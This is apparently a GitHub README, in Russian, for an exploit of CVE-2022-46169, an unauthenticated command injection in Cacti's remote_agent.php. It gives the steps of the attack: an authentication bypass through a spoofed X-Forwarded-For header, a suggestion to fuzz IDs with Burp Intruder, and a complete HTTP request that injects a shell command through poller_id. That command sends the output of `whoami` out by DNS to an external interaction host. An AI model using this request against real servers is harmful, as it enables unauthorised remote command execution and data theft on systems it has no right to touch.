0xf4n9x/cve-2022-46169CVE-2022-46169 Cacti remote_agent.php Неаутентифицированное внедрение команд.
CVE-2022-46169 Cacti remote_agent.php Неаутентифицированная инъекция команд.
Добавьте заголовок X-Forwarded-For, чтобы обойти аутентификацию; обратите внимание, что его значение не фиксировано.
Используйте Burp Intruder для фаззинг-тестирования значений host_id и local_data_ids.
Точкой инъекции команд является параметр poller_id.
GET /cacti/remote_agent.php?action=polldata&poller_id=;ping%20-c%202%20`whoami`.ccsy8s32vtc0000x5nagg8rkyboyyyyyc.oast.fun&host_id=2&local_data_ids[]=6 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 127.0.0.1
